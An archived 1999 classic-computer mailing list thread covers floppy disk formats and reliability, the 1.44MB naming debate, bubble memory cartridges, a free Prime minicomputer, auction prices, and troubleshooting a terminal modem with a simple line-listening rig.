*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From donm at cts.com Fri Jan 22 00:29:09 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Tony Duell wrote: > [80 track 5.25" disks] > > And they're pretty common on non-MSDOS systems. I far more 80-track DS > > drives than 40-track of any flavour. What the CP/Mers used to refer to as Quad Density. > I've got a number of old IBM PCs and XTs so there are some 40 track > drives around here, but also looking about I see a lot of 80 track drives > - TRS-80 model 4, Sirius, Gemini, BBC micros, Torch XXX, etc, etc. The > Whitechapel MG1 currently has a 3.5" drive in it, but I have the original > 5.25" 80 track drive as well. > > Ouch!. I need to find a source of these disks... > > > > Interesting! I have never had a problem using even generic 48tpi disks > > > at 96tpi. > > > - don > > > > Nor have I, usually. I tend to treat all double-density 5.25" disks the > > So what an I doing wrong? Don't know, Tony. All I can suggest is to degauss them first, but you probably do that anyway. - don > > same. Some of the old ones I have were converted to be "flippy" 40-track, > > and some time ago I found one such without a label. Not knowing whether it > > really had been formatted flipped, I tried it out, using the > > by-now-standard 80-track DS drive and a two-step circuit, and found it had. > > "OK, so that's a flippy", I said to myself. A little later, I re-read the > > catalogue -- and got a different listing! I had inadvertantly catalogued > > side two, with the disk right-side-up -- and realised that the tracks must > > not line up, so side two had two sets of data, going in opposite rotations, > > with the tracks interleaved! > > > > So I have a three-sided 40 track disk :-) > > Kersqueeble (or something). > > I seem to remember that the track 0 (say) on the 2 sides of the disk > doesn't line up on a true double sided disk. I also seem to recall that > it's not offset by a whole number of tracks. I wonder if that's what > happened to you - you interleaved the tracks written by the 2 heads on > the 2 sides of the disk. > > No I am not going to try it. > > Talking of flippies, the 3" drives were stupid. All disks were double > sided. Single head disks used them as flippies - some drives even detected > the position of a notch in the disk and changed the colour of the drive > active LED so you could tell which way up the disk was . Double-head > drives had a little bracket that fitted into that notch and prevented you > putting the disk in upside-down. > > So if you had flippy you could read side A in a double-head drive. But > you couldn't read side B - it was spinning the wrong way to read it with > the disk the normal way up and you couldn't turn it over to read it as a > flippy. Well, you couldn't until you dismantled the drive and applied > pliers and cutters to the bracket :-) > > -tony > > From marvin at rain.org Fri Jan 22 00:30:02 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes References: Message-ID: <36A81AEA.C51E1AFF@rain.org> Don Maslin wrote: > > On Thu, 21 Jan 1999, Marvin wrote: > > > I have been able to format 360K disks at 1.2 MB, but there starts to be a > > fair number of bad sectors as the formating progresses towards the center of > > the disk. I have also found that 360K disks formatted at 1.2 MB tend to > > have a shorter data life span. Formatting 720K as 1.44 MB also seems to > > result in a shorter data life span but not as bad as the 360Ks formatted at > > 1.2 MB, probably because the oerstadt rating is closer. > > Perhaps, I should have been more specific that I was referring to > formatting 360k disks to the 96tpi 720k disk format. Not 1.2mb! I have > never had any luck with that, nor have I really tried except as an > experiment to see how bad it went. Pretty bad!!! I should have known what you meant . I have never had any trouble formatting the 360K diskettes in a 1.2 MB drive, but have had *many* read problems when those disks were alternated between 360K and 1.2 MB drives without being bulk erased first. From dwollmann at ibmhelp.com Fri Jan 22 01:01:44 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:25 2005 Subject: PC's Limited In-Reply-To: <36A80964.8E0B2BC5@rain.org> Message-ID: On Thu, 21 Jan 1999, Marvin wrote: > Bill Sudbrink wrote: > > > > My roommate in college had their 12MHz 286 with 640K of *STATIC* RAM. > > Oh man... I would have given my right arm for that machine. The front > > panel > > was really useful, not just that clone fake display set with jumpers. It > > showed > > POST codes, disk access info CPU speed... That was a cool machine. > > IIRC, the Everex had a similar front panel that would display the post codes > and the CPU speed, at least for the 286. I have one in the garage that > didn't head for the metal scrap because of that. One of these days, I'll > have to actually check it out :). > Have you seen the LCD panels for Linux boxes? IIRC, they are 5.25" form factor and fit in a disk bay. They use a serial port and a floppy power connector. The software can be configured to display CPU usage, uptime, just about anything you want. Very cool, I'd love to put one on each of my servers. I wonder if it could marquee "I wish I were an Alpha."? Just a thought. -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From cmcmanis at freegate.com Fri Jan 22 01:26:20 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:25 2005 Subject: PC's Limited In-Reply-To: References: <36A80964.8E0B2BC5@rain.org> Message-ID: <4.1.19990121232536.00a293a0@208.226.86.10> I want one of those LCD panels! Where can I find one? At 01:01 AM 1/22/99 -0600, Dave Wollman wrote: >Have you seen the LCD panels for Linux boxes? From dwollmann at ibmhelp.com Fri Jan 22 01:22:21 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:25 2005 Subject: Linux and 8" diskettes? Message-ID: I've been thinking about trying to use my Microtech 8" drive unit, which is attached to a fairly standard FDC, to read IBM 3740-format (Sys/23, Sys/36, Displaywriter, etc.) diskettes from Linux. I did some reading on 'fdutils' and found one brief mention of 8" diskettes, but nothing really useful, for obvious reasons I guess. Has anyone tried this or anything like it on Linux? A lot of the 8" diskettes I'm getting from customers these days are in poor shape and the Microtech drivers don't handle hard errors very well. I'm hoping the Linux driver is a little more persistent and will allow me to recover more data with less hassle. If only I could read all the bad diskettes on the Displaywriter--that thing will grind away on a diskette all day if it has to and rarely fails on a hard error. I wouldn't normally bother the list with this, but getting Linux installed on this box is going to be a major project and if it won't work I don't want to invest the time and money. -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From cmcmanis at freegate.com Fri Jan 22 01:28:42 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:25 2005 Subject: NEC 8401A In-Reply-To: References: <36A80964.8E0B2BC5@rain.org> Message-ID: <4.1.19990121232804.00a95460@208.226.86.10> http://www.classifieds2000.com/cgi-cls/ad.exe?P1+C220+A0+R67581 Sorry Doug, --Chuck From dwollmann at ibmhelp.com Fri Jan 22 01:26:10 1999 From: dwollmann at ibmhelp.com (David Wollmann) Date: Sun Feb 27 18:40:25 2005 Subject: PC's Limited In-Reply-To: <4.1.19990121232536.00a293a0@208.226.86.10> Message-ID: On Thu, 21 Jan 1999, Chuck McManis wrote: > I want one of those LCD panels! Where can I find one? > > At 01:01 AM 1/22/99 -0600, Dave Wollman wrote: > >Have you seen the LCD panels for Linux boxes? > There have been a couple of blurbs on slashdot in the last few months: http://www.slashdot.org/ The site is searchable. -- David Wollmann DST / DST Data Conversion http://www.ibmhelp.com/ ICQ: 10742063 AIM: FathomS36 From doug at blinkenlights.com Fri Jan 22 01:50:34 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:25 2005 Subject: NEC 8401A In-Reply-To: <4.1.19990121232804.00a95460@208.226.86.10> Message-ID: On Thu, 21 Jan 1999, Chuck McManis wrote: > http://www.classifieds2000.com/cgi-cls/ad.exe?P1+C220+A0+R67581 > > Sorry Doug, That's OK! As long as it's not an auction, then the advantage would have gone to the swiftest (if somebody had seen it before you). If it had been ac auction, then you would have risked simply raising the price without benefiting anybody. Besides, I already have two of them :-) -- Doug From eric at brouhaha.com Fri Jan 22 02:43:24 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:25 2005 Subject: eBay Finds (was: Ebay Posts was...) In-Reply-To: <000101be45c7$8c18da40$6bf438cb@a.davie> (adavie@mad.scientist.com) References: <000101be45c7$8c18da40$6bf438cb@a.davie> Message-ID: <19990122084324.29361.qmail@brouhaha.com> > The two near to hand just say > SHARP CE-100B Magnetic Bubble Memory. > The rest are in the garage - probably the same, though I could check more > closely should there be any real need. Yes, but I wonder whose actual bubble memory part is inside the cartridge. Do you have a broken one to sacrifice for the quest for arcane knowledge? I wonder whether they put the bubble controller inside the cartridge. Probably not, since there was no sense in duplicating that cost. The only manufacturers that I heard of were: vendor capacity capacity (bits) (bytes) ------ -------- -------- Intel 1M 128K Intel 4M 512K rare? Rockwell ??? ??? TI ??? 92K Although it's certainly possible that other companies might have tried their hands at it. There was a time when everyone was convinced that bubble memory was the next big thing. Bubble memories had a rated capacity based on a maximum number of defective loops. The Intel parts had a dot-matrix printed label with a long hexadecimal map of the good loops. I think they might have also come with a small PROM containing that data. Intel's 1Mbit bubble memory controller was the 7220. Unfortuantely NEC made a somewhat popular graphic display controller/processor that also is a 7220. From pete at dunnington.u-net.com Fri Jan 22 02:56:09 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Sam Ismail "Re: Reiability of wrong media (was: is out of 5-1/4" diskettes" (Jan 21, 21:07) References: Message-ID: <9901220856.ZM4083@indy.dunnington.u-net.com> On Jan 21, 21:07, Sam Ismail wrote: > Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes > On Thu, 21 Jan 1999, Megan wrote: > > > I think the problem with '1.44 Mb' is that IBM chose to refer to > > the exact number of bytes without using the power-of-two term > > properly. > > > > For example... on pdp-11s, the virtual address space is always > > referred to as 64 Kb... but the actual max (byte) address is > > 65535. If we were to follow what it appears IBM did, we would > > have been referring to 65.5 Kb. > > No, a megabyte is not a power of two number. A megabyte = 1,000,000 > bytes. So 1.44 megabytes = 1.44 million bytes = roughly 1,440,000 bytes. > > So 1.44MB disk drive is not a misnomer. As Megan pointed out, the maths is wrong. A "1.44MB" disk has 80 cylinders, two sides, 18 sectors per track, sector size 512 bytes. 80 * 2 * 18 * 512 = 80 * 18 * 1024 = 1440KB That's where the "1.44" number comes from. And a Megabyte is normally held to be 1024 * 1024 (megabyte would, I agree, be different, 1000 * 1000). But "1.44MB" refers to 1.44 * 1000 * 1024, which is a ridiculous way to count. 1440KB = 1.406MB. -- Pete Peter Turnbull Dept. of Computer Science University of York From dastar at ncal.verio.com Fri Jan 22 03:11:54 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: <9901220856.ZM4083@indy.dunnington.u-net.com> Message-ID: On Fri, 22 Jan 1999, Pete Turnbull wrote: > > No, a megabyte is not a power of two number. A megabyte = 1,000,000 > > bytes. So 1.44 megabytes = 1.44 million bytes = roughly 1,440,000 bytes. > > > > So 1.44MB disk drive is not a misnomer. > > As Megan pointed out, the maths is wrong. A "1.44MB" disk has 80 > cylinders, two sides, 18 sectors per track, sector size 512 bytes. > > 80 * 2 * 18 * 512 = 80 * 18 * 1024 = 1440KB > > That's where the "1.44" number comes from. Yes, 1,000,000 bytes (a megabyte) + 440,000 bytes (.44 megabytes), ergo 1.44MB. > And a Megabyte is normally held to be 1024 * 1024 (megabyte would, I agree, > be different, 1000 * 1000). But "1.44MB" refers to 1.44 * 1000 * 1024, > which is a ridiculous way to count. 1440KB = 1.406MB. Well, I guess it depends on if you're going by the classical defintion of a computer 'K' which is 1024 bytes (2^10), or what the literal meaning of 'megabyte' is, which is "one million bytes". Semantics! Find me an authoritative reference that defines a megabyte as 1024 * 1024 bytes and I'll eat a pancake. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From netcafe at pirie.mtx.net.au Fri Jan 22 03:15:25 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <01be45e7$beccb040$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Pete Turnbull To: Discussion re-collecting of classic computers Date: Friday, 22 January 1999 20:28 Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes >As Megan pointed out, the maths is wrong. A "1.44MB" disk has 80 >cylinders, two sides, 18 sectors per track, sector size 512 bytes. > >80 * 2 * 18 * 512 = 80 * 18 * 1024 = 1440KB > >That's where the "1.44" number comes from. > >And a Megabyte is normally held to be 1024 * 1024 (megabyte would, I agree, >be different, 1000 * 1000). But "1.44MB" refers to 1.44 * 1000 * 1024, >which is a ridiculous way to count. 1440KB = 1.406MB. I always thought there were things about IBM that just didn't add up. (Sorry, couldn't resist it.) Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From PeksaDO at cardiff.ac.uk Fri Jan 22 11:16:25 1999 From: PeksaDO at cardiff.ac.uk (DOUG PEKSA - COMPG) Date: Sun Feb 27 18:40:25 2005 Subject: Free PRIME 2455 (UK) Message-ID: <1B195C2382D@MAINCF1S.CF.AC.UK> Prime 2455 - free to good home - collect from Cardiff Introduced 1987, 1.2 Mips. Cabinet, CPU, 8Mb memory, SCSI controller, internal cables, PSU No disk drive; no tape drive; PSU does not work - PSU fault light remains on - it broke when I turned my washing machine on! A few hardware and software documents Approx dimensions 75H x 30W x 77D cm. Feels more than 50kg or maybe I'm just getting old. I'm more into DEC so havn't the time or space for this one. If nobody wants it, its off to the recycling depot. Doug. From dogas at leading.net Fri Jan 22 06:08:32 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:25 2005 Subject: Ebay Posts was Re: Ebay: Very Old IBM Model 705 Tube-type Logic Module Message-ID: <01be45ff$ee631340$e8c962cf@devlaptop> -----Original Message----- From: Joe >At 10:01 AM 1/21/99 -0800, Marvin wrote: >> >>At any rate, I choose not to participate further in these discussions about >>the "morality" of posting to this list items for sale on ebay as they are >>pointless and do nothing to *promote* this hobby. I will continue to post >>items that *I* think might be interesting to members of this list. >> > > Yes, please do! I like to look at a lot of the E-bay items even if I >don't care to bid on them or spent time searching E-bay for them. > > Joe If I'm not mistaken, this can be done for up to 30 days *after* an auction as well you laggard.... Heh... Mike: dogas@leading.net From rigdonj at intellistar.net Fri Jan 22 08:30:53 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:25 2005 Subject: Bubble Memeory was Re: eBay Finds (was: Ebay Posts was...) In-Reply-To: <19990122084324.29361.qmail@brouhaha.com> References: <000101be45c7$8c18da40$6bf438cb@a.davie> <000101be45c7$8c18da40$6bf438cb@a.davie> Message-ID: <3.0.1.16.19990122083053.3a9793d6@intellistar.net> At 08:43 AM 1/22/99 -0000, Eric S. wrote: > >Yes, but I wonder whose actual bubble memory part is inside the cartridge. >Do you have a broken one to sacrifice for the quest for arcane knowledge? >I wonder whether they put the bubble controller inside the cartridge. >Probably not, since there was no sense in duplicating that cost. > >The only manufacturers that I heard of were: > > vendor capacity capacity > (bits) (bytes) > ------ -------- -------- > Intel 1M 128K > Intel 4M 512K rare? Rare? Probably not. That's what Intel put on their bubble memory cards for the PC. I have one right here, it's an Intel iPCB-75 PC-BUBBLE(tm) Card. It uses an Intel 7114 Magnetic Bubble Memory (MBM). They only came with one MBM but the manual says that the card can hold two of them. One of the neat things about this card is that even though it has an 8-bit ISA connector it also has a connector on the rear of the card that lets it be used in other machines. Hmm, I wonder how it would work in my Altair. Joe From adavie at mad.scientist.com Fri Jan 22 06:50:12 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:25 2005 Subject: Bubble Memeory was Re: eBay Finds (was: Ebay Posts was...) In-Reply-To: <3.0.1.16.19990122083053.3a9793d6@intellistar.net> Message-ID: <000401be4605$c03174c0$41f438cb@a.davie> > >Yes, but I wonder whose actual bubble memory part is inside the > cartridge. > >Do you have a broken one to sacrifice for the quest for arcane knowledge? Well I attempted a sacrifice, but no luck. There's a 1" square (approx) metal shield there around the chip. Peelable label on the top simply labeled E top right corner, 7 bottom left corner, A somewhere near lower right middle, and 018543 in the center at bottom. Lots of evenly spaced dots ... hang on I might as well copy the whole thing... monospace font ON... ...............E ................ ................ ................ ........ ................ ................ .........A...... 7............... ........ 018543 strange :) Under that label is handwritten... 10/25 -9 KL60 S18543 The board itself is marked Hitachi. I can't get to the bubble memory chip because it has a metal shield spot-welded around it. Wrapped around 4 of the 6 sides, so to speak. I've tried removing this sort of thing before - nigh impossible without a chisel, and I'm not about to do that. Chip has 12 pins/side, for a total of 24, if that helps. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? From dogas at leading.net Fri Jan 22 06:57:26 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:40:25 2005 Subject: C-10 Certified leaderless cassettes Message-ID: <01be4606$c3190ee0$e8c962cf@devlaptop> I cleaned out the local Radio Shack Liquidation Center of all their computer cassettes. At a nice price of 12cents each I bagged well over a hundred... So, if anyone is really ruffing it and could use some ust let me know. - Mike: dogas@leading.net From SUPRDAVE at aol.com Fri Jan 22 07:13:28 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:40:25 2005 Subject: MacOS (was: mac tool) Message-ID: In a message dated 1/21/99 11:42:30 PM EST, nerdware@laidbak.com writes: > Thanks for the info. I still have to boot my Plus from floppy, so I never > went past > the original system that came with it. Some day, when I actually have free > time, I'll have to try 7 on my Plus. make sure you have a hard drive first! swapping floppies on mac especially when you have several disks on the desktop gets tedious. i'd use 6.0.8 which is small and fast. unless you require the multifinder or bubble help, stay with what you have already. From steverob at hotoffice.com Fri Jan 22 07:59:38 1999 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:40:25 2005 Subject: Free PRIME 2455 (UK) Message-ID: <01BE45E5.8AF482E0.steverob@hotoffice.com> Doug, I just got a 2450 that I'm trying to resurect. It appears that the CPU is fried and I haven't found a replacement. I read the PRIME FAQ and it appears that they might be compatible. If this is the case, I'd *love* to have the CPU and other cards. Thanks, Steve Robertson - -----Original Message----- From: DOUG PEKSA - COMPG [SMTP:PeksaDO@cardiff.ac.uk] Sent: Friday, January 22, 1999 6:16 AM To: Discussion re-collecting of classic computers Subject: Free PRIME 2455 (UK) Prime 2455 - free to good home - collect from Cardiff Introduced 1987, 1.2 Mips. Cabinet, CPU, 8Mb memory, SCSI controller, internal cables, PSU No disk drive; no tape drive; PSU does not work - PSU fault light remains on - it broke when I turned my washing machine on! A few hardware and software documents Approx dimensions 75H x 30W x 77D cm. Feels more than 50kg or maybe I'm just getting old. I'm more into DEC so havn't the time or space for this one. If nobody wants it, its off to the recycling depot. Doug. From cdrmool at interlog.com Fri Jan 22 08:45:04 1999 From: cdrmool at interlog.com (Colan Mitchell) Date: Sun Feb 27 18:40:25 2005 Subject: Informer(terminal) modem problem In-Reply-To: Message-ID: Yes, exactley, it does dial and then it reports a loss of dial tone. Unfortunately there is no audible clue to whats going on, only whats on the terminal screen. I don't understand how it could lose a dialtone in this manner. The phone works fine otherwise. What appears is basically this: D 555-1212 555-1212 Ring Ring No dial weird Colan On Thu, 21 Jan 1999, Sam Ismail wrote: > On Thu, 21 Jan 1999, Colan Mitchell wrote: > > > I have an Informer terminal (emulates vt100) that seems to be working > > o.k. except that when I dial out It rings once, twice, rarely three times > > and then reports no dial tone. The phone chord is fine. I thought that > > Well, if its supposed to be looking for dialtone, then why is the line > ringing up to three times? Unless you're saying it actually does dial the > number, then the line rings a couple times, then the modem returns a > response of "NO DIALTONE"? > > Sellam Alternate e-mail: dastar@siconic.com > ------------------------------------------------------------------------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > From hansp at digiweb.com Fri Jan 22 08:48:19 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:40:25 2005 Subject: Free PRIME 2455 (UK) References: <1B195C2382D@MAINCF1S.CF.AC.UK> Message-ID: <36A88FB3.5745921F@digiweb.com> DOUG PEKSA - COMPG wrote: > > Prime 2455 - free to good home - collect from Cardiff > > Introduced 1987, 1.2 Mips. > A few hardware and software documents > > Approx dimensions 75H x 30W x 77D cm. Feels more than 50kg or maybe > I'm just getting old. > > I'm more into DEC so havn't the time or space for this one. If > nobody wants it, its off to the recycling depot. I'll take the docs and the processor cards just for display if you are going to trash the unit - Email me privately. Regards _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue From lemay at cs.umn.edu Fri Jan 22 08:59:23 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:25 2005 Subject: Linux and 8" diskettes? In-Reply-To: from David Wollmann at "Jan 22, 1999 01:22:21 am" Message-ID: <199901221459.IAA21841@thufir.cs.umn.edu> > > I've been thinking about trying to use my Microtech 8" drive unit, which is > attached to a fairly standard FDC, to read IBM 3740-format (Sys/23, Sys/36, > Displaywriter, etc.) diskettes from Linux. I did some reading on 'fdutils' and > found one brief mention of 8" diskettes, but nothing really useful, for obvious > reasons I guess. Has anyone tried this or anything like it on Linux? > > A lot of the 8" diskettes I'm getting from customers these days are in poor > shape and the Microtech drivers don't handle hard errors very well. I'm hoping > the Linux driver is a little more persistent and will allow me to recover more > data with less hassle. If only I could read all the bad diskettes on the > Displaywriter--that thing will grind away on a diskette all day if it has to > and rarely fails on a hard error. Well.. there was a device being sold at Ebay called a Floppy Drive Analyer... Just attach your oscilloscope and you can test, align, and repair floppies. It came with various test diskettes, and its for 8", 5.25" and 3.5" disks. Perhaps this is something you coudl use. I bid a token small amount on it and was high bidder, but I didnt exceed the reserve price, so its still available. The guy sent me email this morning saying that his reserve price was $150, but if this is something that might help out your buisness, maybe its worth it to you. Just thought I'd mention it. http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56512208 -Lawrence LeMay > > I wouldn't normally bother the list with this, but getting Linux installed on > this box is going to be a major project and if it won't work I don't want to > invest the time and money. > > -- > David Wollmann > DST / DST Data Conversion > http://www.ibmhelp.com/ > > ICQ: 10742063 > AIM: FathomS36 > From dastar at ncal.verio.com Fri Jan 22 10:01:18 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:25 2005 Subject: Informer(terminal) modem problem In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Colan Mitchell wrote: > Yes, exactley, it does dial and then it reports a loss of dial tone. > Unfortunately there is no audible clue to whats going on, only whats on > the terminal screen. I don't understand how it could lose a dialtone in > this manner. The phone works fine otherwise. > What appears is basically this: > > D 555-1212 > 555-1212 > Ring > Ring > No dial Ok, have you verified that it is in fact ringing the phone? Have you tried dialing another line in your house (if you've got one) or a cooperative friend's number? Assuming that it is calling the number, which it seems to be, then what number are you calling into? What is the carrier on the other end? A 300bps modem? A 56K V.Everything? What would really help you is a lineman's testset. But since those cost lots of money and you probably don't want to go breaking into telco vans late at night to steal one like the kids used to do back in the day, you can get yourself two .1 uF caps (240V) and two modular phones jack to rig up a simple passive listening device. Wire each conductor of the phone line to one of the caps. Then wire the other leads to the modular jack. Like so: tip (normally green wire) ----||-----\_ __ TO .1uF | | INFORMER _|__| modular jack ring (normally red wire) ----||-----/ .1uF This basically isolates the DC of the phone line while allowing the AC to pass, so you can listen in on the line without obstructing the call. You would connect a line cord in parallel with the Informer, then connect the other end into the contraption above. Then you can plug a phone into the modular jack, go off-hook and then let the Informer dial while you listen in. Now having gotten only about two hours of sleep this morning, I just realized I went thru all the trouble to type up this pretty circuit diagram when all you really need is a line splitter from Radio Shack or whatever. You could plug the phone into other jack of the splitter and when the informer goes to dial you can pick up a phone plugged into the other jack and listen. Isolating the line from your phone in this case is really unnecessary. Oh well. Anyway, try this out and let us know what turns up. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From Philip.Belben at pgen.com Fri Jan 22 06:36:18 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:25 2005 Subject: OT: Alien Media (was Disasters and Recovery) Message-ID: <80256701.0047D33C.00@WESTD90.pgen.co.uk> >> Really? The meter is defined (certain frequency of light from a certain >> element for so many waves yada yada). Sea level is defined (don't know the >> SI unit, but 780 millibars of pressure). Celcius is defined (0 is freezing >> point of pure water at sea level, 100 boiling point of pure water at sea >> level) and that's all you need to define the gram: one cubic centimeter of >> water at 4C at sea level. That also gets you volume (liters). >> > I thought length, mass (Kilogram), and time (seconds) were picked as the > basic SI units, and others, like temperature, were "secondary". For > electromagnetics, > a 4'th unit was required, sometimes an ampere (which can be defined from > mechanical variables), sometimes charge. > -Dave In 1902, when the system was proposed, the base units were indeed metre, kilogram and second. The IEC recommended that the ampere be added as the fourth unit, and this was finally standardised in 1948. SI now has seven base units: Metre, Kilogram, Second, Ampere, Kelvin, Mole and Candela (normally used without initial capitals btw). There are two supplementary units, the radian and the steradian. All other units are derived from these. Philip. From Philip.Belben at pgen.com Fri Jan 22 06:39:50 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:25 2005 Subject: Looking for pointers to old Control Data software Message-ID: <80256701.004AC264.00@WESTD90.pgen.co.uk> >> > I've tried contacting the lastest version of CDC and they offer no help >> > whatsoever. Even refused to allow me to release copies of any of their >> > old manuals "for liability reasons." (don't get me started!) >> >> That makes me sooo mad.... > > It makes me mad as well. > > Does anyone know a friendly lawyer? Is there any form of legal wording > that can be used so that the company can't _possibly_ be held liable for > anything? If not, then there needs to be ;-) If it were true, there'd be some point to your suggestion. Unfortunately I fear it is just an excuse, and the real reason is "can't be bothered". In which case your suggestion wouldn't help. Apathy is very powerful. (BTW, "What's the difference between ignorance and apathy?" "I don't know and I don't care.") Philip. From Philip.Belben at pgen.com Fri Jan 22 06:41:32 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:25 2005 Subject: Berman prices Message-ID: <80256701.004B195D.00@WESTD90.pgen.co.uk> > I don't know if it's on topic but I got back my bid report from Berman and > some folks have asked me to record the prices so here they are: (Berman == > www.berman.com) > > A pallet of four NeXT cubes w/Monitors and drives $325 > A pallet of Tektronix plugins $297 > An SGI Crimson Server $210 > A Sun 4/330 (Dual CPU) Server $60 > A set of three SparcStation IIs $501 > A complete Mac IIci (printer, monitor the works) $70 Any Idea what the Tek plugins were and how many? Philip. From rigdonj at intellistar.net Fri Jan 22 11:54:23 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:25 2005 Subject: Bubble Memeory was Re: eBay Finds (was: Ebay Posts was...) In-Reply-To: <000401be4605$c03174c0$41f438cb@a.davie> References: <3.0.1.16.19990122083053.3a9793d6@intellistar.net> Message-ID: <3.0.1.16.19990122115423.30576a00@intellistar.net> At 11:50 PM 1/22/99 +1100, you wrote: >> >Yes, but I wonder whose actual bubble memory part is inside the >> cartridge. >> >Do you have a broken one to sacrifice for the quest for arcane knowledge? > > >Well I attempted a sacrifice, but no luck. >There's a 1" square (approx) metal shield there around the chip. >Peelable label on the top simply labeled E top right corner, 7 bottom left >corner, A somewhere near lower right middle, and 018543 in the center at >bottom. Lots of evenly spaced dots ... hang on I might as well copy the >whole thing... monospace font ON... > >...............E >................ >................ >................ >........ >................ >................ >.........A...... >7............... >........ > 018543 > >strange :) > >Under that label is handwritten... 10/25 -9 KL60 S18543 >The board itself is marked Hitachi. >I can't get to the bubble memory chip because it has a metal shield >spot-welded around it. Wrapped around 4 of the 6 sides, so to speak. I've >tried removing this sort of thing before - nigh impossible without a chisel, >and I'm not about to do that. >Chip has 12 pins/side, for a total of 24, if that helps. >A > Sounds SIMILAR to my Intel one but different. Mine has 10 pins per left and right sides. The metal shield on it starts at the top edge next to the circuit board and wraps over the top of the MBM and down the bottom side. It has a flange that sticks out at each corner. Each flange has a hole in it and looks like it was intended for a screw to go in it. The top says" intel(r) (m) 7114-4 S9512B 03LUT 8552 FF7FFFFF5FFFFBFFFF7F etc {too lazy to type it all out} etc etc etc etc etc AAAAAA00000000000000 I think the matrix of As, Bs, 0s and Fs is some sort of mapping of the bad magnetic domains. Joe From cdrmool at interlog.com Fri Jan 22 11:03:51 1999 From: cdrmool at interlog.com (Colan Mitchell) Date: Sun Feb 27 18:40:25 2005 Subject: Informer(terminal) modem problem In-Reply-To: Message-ID: Sam, Thanks for the extensive reply. I would love it if a Telco Van was left unattended outside my house! Anyway, yes I've a second line and what happens is that it does ring but when I answer it (feeling rather besides myself) there is dead air. What I'm dialing, other than myself, is a freenet as it can handle 300 bps. That seems to be academic though as there doesn't seem to be any indication of an attempt at handshaking. The freenet takes more than 2 or three rings to connect as well. Thanks again Colan From manney at hmcltd.net Fri Jan 22 09:50:23 1999 From: manney at hmcltd.net (PG Manney) Date: Sun Feb 27 18:40:25 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <01be461e$ec6110a0$01bfbfbf@toshiba-115cs> My heathkit H-89, which used SSHS mounted vertically, had a note in the manual that using "flippy" diskettes was not recommended, as dirt and suchlike (which collects on the liner during normal operation) was likely to fall out if the disk were flipped, and thus run backwards. 